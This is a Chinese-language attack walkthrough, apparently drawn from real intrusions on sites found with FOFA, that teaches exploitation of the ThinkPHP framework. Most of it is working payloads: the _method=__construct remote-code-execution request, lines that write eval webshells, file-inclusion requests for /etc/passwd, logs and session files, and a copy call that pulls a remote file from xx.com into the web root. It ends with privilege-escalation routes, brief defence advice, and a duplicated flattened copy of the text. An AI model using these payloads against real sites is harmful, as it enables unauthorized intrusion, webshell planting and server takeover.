记一天三个站并失败的提权过程
字数 1123 2025-08-06 08:35:39

ThinkPHP框架漏洞利用与提权实战教学

1. 信息收集与目标定位

1.1 目标发现

  • 使用FOFA等网络空间搜索引擎寻找使用ThinkPHP框架的网站
  • 常见后台路径尝试:/admin.php
  • 弱密码测试:admin/admin等常见组合

2. ThinkPHP框架漏洞利用

2.1 漏洞检测

  • 检测ThinkPHP版本是否存在已知漏洞
  • 常见漏洞检测POC:
    ?s=index/index
    _method=__construct&filter[]=call_user_func&method=get&get[0]=phpinfo
    

2.2 命令执行绕过技巧

  • 当常见函数被禁用时,尝试使用shell_exec
  • 无回显情况下使用DNSLog验证命令执行
  • 其他可能未被禁用的函数:system, passthru, popen

2.3 文件写入方法

  • 通过漏洞直接写入Webshell:
    ?s=index/index
    _method=__construct&filter[]=shell_exec&method=get&get[0]=echo "<?php eval(\$_POST[1]);?>" > shell.php
    

3. 绕过严格过滤的进阶技巧

3.1 文件包含漏洞利用

  • 当命令执行函数被严格过滤时,尝试文件包含:
    ?s=index/index
    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/etc/passwd&x=phpinfo();
    

3.2 日志文件包含

  • 常见日志文件路径:/www/wwwlogs/access.log
  • 注意日志文件中的编码问题可能导致包含失败

3.3 Session文件包含

  • 利用条件:服务器开启session.upload_progress.enabled配置
  • 通过上传进度信息污染session文件
  • 包含session文件获取Webshell

3.4 上传功能绕过

  • 修改上传配置文件添加允许的扩展名(如.txt)
  • 上传包含PHP代码的文本文件:
    <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["0"])?>');?>
    
  • 然后通过文件包含漏洞执行该文件

4. 参数绕过技巧

4.1 多参数传递

  • 使用vars[]数组传递多个参数:
    &vars[0]=&vars[1]=&vars[2]=&vars[3]=
    

4.2 文件操作参数

  • 使用call_user_func_array进行文件操作:
    call_user_func_array&vars[0]=copy&vars[1][]=http://xx.com/a.txt&vars[1][]=/www/wwwroot/shell.php
    

5. 提权尝试与失败分析

5.1 常见提权方法

  • 脏牛(Dirty Cow)漏洞:适用于较旧版本的CentOS系统
  • Sudo提权:检查sudo -l查看可用特权命令
  • 内核漏洞利用:根据系统版本寻找对应漏洞

5.2 提权失败原因分析

  • 系统已打补丁,漏洞已修复
  • 权限限制严格,www用户无法执行关键操作
  • 环境配置阻止了提权操作

6. 防御建议

6.1 针对ThinkPHP管理员

  • 及时更新框架版本
  • 禁用危险函数:system, shell_exec, exec
  • 限制文件包含功能
  • 严格过滤用户输入

6.2 针对系统管理员

  • 定期更新系统和内核补丁
  • 限制Web用户的权限
  • 监控系统日志和异常行为
  • 使用最小权限原则配置服务

7. 后续学习方向

  • Linux提权技术深入研究
  • 更多Web框架漏洞利用技术
  • 权限维持方法
  • 内网渗透技术

通过本教学文档,您应该掌握了ThinkPHP框架常见漏洞的利用方法,以及当遇到各种限制时的绕过技巧。记住,这些知识仅用于合法授权的安全测试和研究目的。

ThinkPHP框架漏洞利用与提权实战教学 1. 信息收集与目标定位 1.1 目标发现 使用FOFA等网络空间搜索引擎寻找使用ThinkPHP框架的网站 常见后台路径尝试: /admin.php 弱密码测试:admin/admin等常见组合 2. ThinkPHP框架漏洞利用 2.1 漏洞检测 检测ThinkPHP版本是否存在已知漏洞 常见漏洞检测POC: 2.2 命令执行绕过技巧 当常见函数被禁用时,尝试使用 shell_exec 无回显情况下使用DNSLog验证命令执行 其他可能未被禁用的函数: system , passthru , popen 等 2.3 文件写入方法 通过漏洞直接写入Webshell: 3. 绕过严格过滤的进阶技巧 3.1 文件包含漏洞利用 当命令执行函数被严格过滤时,尝试文件包含: 3.2 日志文件包含 常见日志文件路径: /www/wwwlogs/access.log 注意日志文件中的编码问题可能导致包含失败 3.3 Session文件包含 利用条件:服务器开启 session.upload_progress.enabled 配置 通过上传进度信息污染session文件 包含session文件获取Webshell 3.4 上传功能绕过 修改上传配置文件添加允许的扩展名(如.txt) 上传包含PHP代码的文本文件: 然后通过文件包含漏洞执行该文件 4. 参数绕过技巧 4.1 多参数传递 使用 vars[] 数组传递多个参数: 4.2 文件操作参数 使用 call_user_func_array 进行文件操作: 5. 提权尝试与失败分析 5.1 常见提权方法 脏牛(Dirty Cow)漏洞:适用于较旧版本的CentOS系统 Sudo提权:检查sudo -l查看可用特权命令 内核漏洞利用:根据系统版本寻找对应漏洞 5.2 提权失败原因分析 系统已打补丁,漏洞已修复 权限限制严格,www用户无法执行关键操作 环境配置阻止了提权操作 6. 防御建议 6.1 针对ThinkPHP管理员 及时更新框架版本 禁用危险函数: system , shell_exec , exec 等 限制文件包含功能 严格过滤用户输入 6.2 针对系统管理员 定期更新系统和内核补丁 限制Web用户的权限 监控系统日志和异常行为 使用最小权限原则配置服务 7. 后续学习方向 Linux提权技术深入研究 更多Web框架漏洞利用技术 权限维持方法 内网渗透技术 通过本教学文档,您应该掌握了ThinkPHP框架常见漏洞的利用方法,以及当遇到各种限制时的绕过技巧。记住,这些知识仅用于合法授权的安全测试和研究目的。